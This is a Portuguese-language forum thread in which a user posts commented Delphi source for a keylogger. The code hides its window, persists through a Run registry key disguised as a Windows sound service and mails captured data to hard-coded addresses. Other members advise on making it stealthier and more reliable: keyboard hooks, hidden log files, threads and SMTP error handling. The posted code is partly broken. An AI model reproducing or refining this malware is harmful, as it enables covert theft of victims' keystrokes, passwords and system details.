E ae pessoal blz? Primeiro, desculpa ae pelos outros tópicos (sou mto estorado :P)
segundo, sei que mta gente n entendeu o keylogger como funciona e etc... então resolvi mexer nele... coloquei algumas coisas e quase em todas as linhas tem explicação do que faz...
Espero que ajude alguém, aqui em casa deu erro no smtp só, pq to sem discador, dai minha net n aceita xD... deve ter algum bug por ai mais ta valendo é para estudos.. qualquer coisa to aqui para ajudar e solucionar... e se eu não souber vamos consultar nosso amigo Google ^^
Código:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, Menus, ComCtrls, IdMessage, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, Registry, ShellAPI,
IdIPWatch;
type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
Timer2: TTimer;
IP: TIdIPWatch;
Memo2: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure PegaInfo;
procedure Envia;
procedure Verifica;
procedure Config;
procedure Salvar;
procedure Copiar;
procedure FormCreate(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Reg : TRegistry; // FALA QUE REG É O TREGISTRY
implementation
{$R *.dfm}
// **************************************************************
// VERIFICA SE ESTA CONECTADO NA INTERNET
// **************************************************************
procedure TForm1.Verifica;
var
IP : TIdIPWatch;
begin
if IP.LocalIP = '127.0.0.1' then
MessageBox(Application.Handle, 'Houve um erro interno no sistema!', 'Microsoft Windows', MB_ICONERROR+MB_OK)
else
Form1.Envia;
end;
// **************************************************************
// EXECUTA O PROGRAMA
// **************************************************************
procedure ExecutePrograma(Nome, Parametros: String);
Var
Comando: Array[0..1024] of Char;
Parms: Array[0..1024] of Char;
begin
StrPCopy (Comando, Nome);
StrPCopy (Parms, Parametros);
ShellExecute (0, Nil, Comando, Parms, Nil, SW_ShowMaximized);
end;
// **************************************************************
// PEGA INFORMAÇÕES DO COMPUTADOR
// **************************************************************
procedure TForm1.PegaInfo;
var
info1, info2, info3, info4, info5, info6 : String;
begin
// PEGA O NOME DO COMPUTADOR
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows Media\WMSDK\General', False);
info1 := Reg.ReadString('ComputerName');
Reg.CloseKey;
// PEGA O PROCESSADOR
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('HARDWARE\DESCRIPTION\System\CentralProcessor\0', False);
info2 := Reg.ReadString('ProcessorNameString');
Reg.CloseKey;
// PEGA A VERSÃO DO WINDOWS
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion', False);
info3 := Reg.ReadString('ProductName');
Reg.CloseKey;
// PEGA O MENUSHOWDELAY
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('control Panel\Desktop', False);
info4 := Reg.ReadString('MenuShowDelay');
Reg.CloseKey;
// PEGA A PÁGINA INICIAL DO INTERNET EXPLORER
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
info5 := Reg.ReadString('Start Page');
Reg.CloseKey;
// PEGA A BIOS
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('HARDWARE\DESCRIPTION\System', False);
info6:= Reg.ReadString('SystemBiosDate');
Reg.CloseKey;
end;
// **************************************************************
// CONFIGURAÇÕES DO KEYLOGGER
// **************************************************************
procedure TForm1.Config;
begin
Application.ShowMainForm := False; // NÃO APARECE A TELA PRINCIPAL
Reg := TRegistry.Create; // CRIA UMA ENTRADA NO REGISTRO, PARA INICIALIZAR COM O SISTEMA
Reg.RootKey := HKEY_LOCAL_MACHINE; // FALA QUE ROOT KEY QUE É
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False); // ABRE A CHAVE
Reg.WriteString('SOUNDMAN', Application.ExeName); // REGISTRA COMO SOUNDMAN (SOM DO WINDOWS)
Reg.CloseKey;
end;
// **************************************************************
// ENVIA E-MAIL
// **************************************************************
procedure TForm1.Envia;
var
Lista : TStringList;
info1, info2, info3, info4, info5, info6 : String; // ALGUMAS STRINGS UTILIZADAS PARA PEGAR INFORMAÇÕES
begin
IdSMTP1.Host := 'sevennight.1@gmail.com (mailto:'sevennight.1@gmail.com)'; // EMAIL DE QUEM ENVIA
IdMessage1.From.Name := 'Xtreme'; // NOME DE QUEM ENVIA
IdMessage1.Recipients.EMailAddresses := XTREME@ANJOSDAREDE.NET (mailto:XTREME@ANJOSDAREDE.NET) OU MARCOSANTONIO2007@IBEST.COM.BR (mailto:MARCOSANTONIO2007@IBEST.COM.BR)
end.
...by Xtreme
...xtreme
Foi como eu tinha te falado no msn, o forúm é um espaço para divulgar e ampliar o conhecimento de todos,
e devemos ser maduros ao lidar com crítcas.
Naum testei o kl aki, mas pelo source eu jah te dei aquelas sujestoões no msn, sobre verficar se a máquina ta conectada ou naum, essas msg desnecessárias, e tratar erro dos sockets.
Parabéns, e naum seja afobado...
"Procurar informações é o primeiro passo para o conhecimento, Compartilha-las é o primeiro passo para a Comunidade"
Rox_nxr (Obs: Por favor algum admin ae, apaga meu user rox_nxr pra que eu possa voltar a postar como rox_nxr...)
Falae cara!
Vou testar o Kl aqui e vou ver a parada do SMTP, qualquer bug aqui eu posto pra vc!
Mas parabéns pelo trabalho!
Source ótimo pra estudos bem explicado!
Compilando...
Abração
Aew SHAKE, valeu msm mais tem bug no smtp e no verifica conexão

eu to arrumando ake o rox_nxr q me alerto ^^
com o método de GetAsyncKeyState/GetKeyState, é somente local, ou seja, vai depender da configuração do teclado da pessoa. Um ~ pode ser um [, ou um `, um ! pode ser um \, e por aí vai. E a coisa complica mais ainda quando é de outra língua, que usa outro tipo de teclado sem letras latinas, como o cirílico (russo), ou o norueguês. Nesse caso, o correto seria usar um keyboard hook, com, se possível, ToUnicodeEx, no vKey e no ScanCode da tecla pressionada, daí pode variar pra qualquer língua que vai pegar corretamente a letra correspondente.
Ola pessoal, resolvi responder alguns tópicos aqui então lá vai, aos poucos poderam ver algumas respostas minhas, bom mas enfim o caesar2k, realmente tem razão é preciso se utilizar de Hooks para capturar e filtrar operações no teclado que sejam válidas à todas as línguas, e não somente a latina,
Extreme, será necessário você modificar totalmente o sistema de captura dele, também devo chamar a atenção para o timer, por ser um timer de processamento realmente devera utilizar bastante memória em seu processamento, se você trocar o sistema para hook você vai melhorar o desempenho do loop de captura consideravelmente.
Ricardo Silva
[]s.
TGABom cara, primeira mente parabens pelos estudos,
mais tenho algumas dicas para para dar em relação a esse codigo,
QuoteReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False); // ABRE A CHAVE
Bom, o false no codigo acima significa que se a chave não existir ela naum vai criar,
e como que se trata de um programa que tenha que inicar com o PC, vc tme que colocar
p parametro True, para se a chave Run não existe e cria, sacou ;)
QuoteLocal='C:\WINDOWS\System\'; // LOCAL ONDE SERÁ COPIADO O KEYLOGGER QUANDO EXECUTADO
Mesma dica acima!
Quanto ao smtp faça da seguinte forma, apos insegir as informações necessarias.. faça..
try
begin
IdSMTP1.Connect; // CONECTA
IdSMTP1.Send(IdMessage1); // ENVIA
end
Except
IdSMTP1.Disconnect; // DESCONECTA
end;
Tenho certeza de que vai funcionar

Bom o que o ricarfo disse sobre o timer é estremamente importante, isso consome muita memoria,
mais para amenizar o problema tenho serteza de que uma Thread resolveria o problema.
T++ cara... abraços...
Ola TGA, quanto tempo não? realmente pensei também em sugerir a implementação de uma thread, talvez até mesmo duas por que não?
Vejam o seguinte esquema:
Software - Keylog inicializa, escreve no registro faz os testes iniciais nos diretórios de sistema aloca suas copias de reserva e cria o arquivo log, na parte de criação do arquivo log quero lhe sugir que implemente o método de ocultamento pode ser aplicado facilmente com a utlização da api "SetFileAttributes()" ela recebe dois parametros onde o primeiro é o 'caminho do arquivo à ocultar', e o segundo é uma 'flag de ocultamento', bom continuando após isto checagens feitas e tudo correndo bem, dispara uma thread que vai ficar em loop capturando os dados do teclado, o modo de captura você escolhe ou usando o timer e perdendo em desempenho run-time ou utilizando o hook como solução mais efetiva, após isto você poderia muito bem criar uma função de cálculo precisa do tempo necessário que vai se esperar para enviar o arquivo log a função é bem facil criar ela vai pegar o tick_time ( tempo corrido ) do sistema e vai esperar chegar em contagem correta do tempo que você precisa por exemplo se eu fosse implementar esperaria para enviar em 30 minutos ou seja ...
1 seg = 1.000 ms
60 seg = 60.000 ms || 1 min
Caso fosse enviar em 10 min > Tn = (60.000 * 30) = [36.000.000 ms] || 10 minutos
agora você se arruma e faz essa infíma conta para cálcular caso fosse 30 minutos
outra ídeia seria realizar este cálculo em uma thread sendo assim o processamento de captura de teclas iria ficar separado do processamento de tempo necessário (Tn), ainda iria sugerir você também disparar mais uma thread para a conexão smtp e o envio a thread envia faz o tratamento de erro o try/catch que o TGA lhe explicou, caso falhe você mata a thread e toma muito cuidado com os fárois e mutex para as threads não baterem uma na outra sei que parece um conceito complicado mais é bem simples implementar só vai começar a complicar mesmo se você quiser implementar + de 15 threads ai sim você vai precisar ser um verdadeiro 'Guarda de Transito' para fazer com que as threads não se esbarrem e causem o alarde ao usuário com a mensagem de erro.
Bom acho que já escrevi demais, se me permitem vou me retirar agora e que seu software cresça extreme, parabéns pelo desenvolvimento leve em conta o que apontamos que você logo podera criar um keylog até mesmo com interface configuravel e muito mais ...
Até mais, sucesso !!
Ricardo Silva
[]s.
ae pessoal vlw pelo apoio :)...
...by Xtreme
(Meu nome começa com X rs...)
timer pra capturas de teclas sempre tem algum erro , reparei no ardamax e ele é perfeito, oque fizeram pra ele pegar as teclas certinhas ? porque com um timer de 1 segundo, o timer pode nao pegar algumas letras, se for de meio segundo, o timer ainda pode nao pegar letras ou pegar letras a mais, porque uma pessoa digita mais rapida que a outa e vice versa. na maioria dos kls observei a velha historia do timer, mas sera oque usaram no ardamax ? eu nao estudei c++ talvez ele tenha uma estrutura melhor pra capturaçao de teclas, ou tambem utiliza timer ?, esquisito
t+
hum... ai que está o que foi utilizado para fazer o amigo ardamax?
Hooks meus caros, eu e alguns amigos já explamos algumas coisas sobre se quer interceptar algo em um sistema 'tranque o evento e o filtre' ou se preferir melhor palavra 'enganchem' o evento, pode - se por ai saber por que se diz Hook.
Ricardo Silva
[]s.
interessante mas algumas coisas podem ser feitas de maneiras nem mais simples
nao faz muita logica...mas vou testar.
pelomenos acho que no vb, nao tem esse sistema de "hook"
irei conferir...
se achar algo posto
t+
Qualquer linguagem pode se abster de Hook, basta saber implementar e mesmo que não possua por Default pode - se evocar diretamente da DLL com a api "GetProcAdress()" ;D
quando eu dispor de tempo, irei ver melhor sobre esse assunto para saber se é mesmo possivel, varios profissionais da area do vb, utilizam o keylogger com timers normais, tenho varios exemplos de kls e nenhum deles utiliza esse procedimento, no entanto irei verificar em foruns gringos, talvez la o material seja mais evoluido, se eu encontrar vou fazer um tutorial pro pessoal do visual basic.
até +
Ok, branco faça isto sim irá ajudar os programadores da linguagem Vb, eu realmente não sou fan de vb mas existem muitos e eles irão adorar.
Boa sorte com o estudo !!!
Ricardo Silva
[]s.
TGAFala
ricardo.. quanto tempo em brother.. ;) , alguns
tipos que pode usar para hookar, WH_KEYBOARD, WH_MOUSE, WH_JOURNALRECORD, etc..
no caso do kl usariamos WH_KEYBOARD, para instalar a hook usariamos a API SetWindowsHookEx
para desinstalar, UnhookWindowsHookEx, e por ai vai.. naum entrarei em detalhes.. como o autor não
irá trabahar no soucer, para continuar o assunto acho que seria necessario outro Tópico, abraços..
e boms estudos sobra o assunto!
Vlw..
no vb existe o keypress que ja é padrao, porem ele se restringe apenas ao aplicativo criado no visual basic...talvez tenha como passar o foco para um outro programa, mas nos codigos que estudei nao prestei atençao nessa parte, amanha mesmo vou rever meus sourcers e ver se tem algo parecido, caso contrario irei tentar utilizar a api que me indicaram, ainda que nao tenha visto falarem nela. a proposito creio que os profissionais prefiram uma linguagem como c++ pra este tipo de serviço, tendo em vista a facilidade, o visual basic foi feito com outro objetivo, apesar de nao se restringir a nada, as apis nos dao liberdade tambem =p ainda que seja mais dificil...uma simples declaraçao no vb nos faz processar muitas informaçoes pra se lembrar de tudo hehe...fiz ate um txt com as apis ja declaradas, sao tantas nos softs...mas isso nao vem mais ao caso. vou ver se consigo no vb pra fazer um tuto pro povo mesmo, porque pelo que vi ate hoje nao se interessaram em aprender um metodo mais eficaz, e creio eu que nao seja pela facilidade, porque é um saco fazer aquele getasynckeystate, talvez seja falta de conhecimento mesmo.
obrigado pelas sugestoes,
até +
Bom, pessoal devo alerta-los que o hook é realmente um método .. humm vamos dizer mais baixo nivel por justamente enganchar todos os processos rodando e os que ainda irão rodar ...
pois você pode digitar no MSN, ou em um console feito por você ... que mesmo assim a tecla digitada será pega seja onde for apertada ..
por isso também por ser mais baixo nivel exige muito mais cuidado na hora de implementação e é muito mais dificil de ser utilizado por se utilizar de funções CallBack.. ou seja a Api do Hook ( SetWindowsHookEx ) evoca a função responsavel pelo tratamento do engachamento e depois você precisa criar uma função que apos filtrar o que você deseja ela fará
com que as outras hooks ( sim existem muitas hooks já rodando ) não colidam uma com a outra e sigam a hook chain a corrente natural...
Ate explicaria um esquema mais apronfundado de hook mas por que gosto muito deste assunto infelizmente, é uma pena que xTreme não tenha interrese na implementação mas tudo bem ele já fez sua escolha, e a vida é feita de escolhas !!!
Algumas não se podem recorrer.
Abraços !!
Ricardo Silva
[]s.
Bom branco caso queira saber mais vou lhe indicar diversos links para que consiga implementar:
Segue os links ...
Link extremamente interresante que trata da famosa "Api Hook" ou seja o modo de espionar determinada api do sistema utilizando o método de hooks. http://www.codeproject.com/system/hooksys.asp
Outro link interresante onde o autor desenvolve um "capturador de password que utiliza a mascara (*) para esconder os dados vejam por si como é engenhosa a técnica. http://www.codeproject.com/dll/PasswordSPY.asp
Técnica também interresante onde o autor implementa dentro do bloco de notas novas funcionalidades que originalmente não existem vejam
http://www.codeproject.com/useritems/XYHookUtility.asp
Está é especial ao branco, hooks em vb como implementar e um projeto demonstrativo
http://www.vbaccelerator.com/home/Vb/Code/Libraries/Hooks/vbAccelerator_Hook_Library/article.asp
Programação em VB - Windows Hook - direto da própria microsoft
http://support.microsoft.com/kb/180936
Bom aqueles que quiserem mais, podem procurar no google ou se aproveitar dos links que enumerei, bom estudo !!!
Ricardo Silva
[]s.
muito obrigado ricardo =] em breve criarei um tuto explicando pros brasileiros como se usa hook em vb entao =p
brigadao, até +
Ae ricardo.. talvez podemos melhorar este keylogger.. será que alguém aki do fórum tem um source em delphi que captura as teclas do jeito que os posts acima falaram? se alguém tiver posta ae pro pessoal e pra mim
o shake fez um tuto pra delphi se nao me engano, até +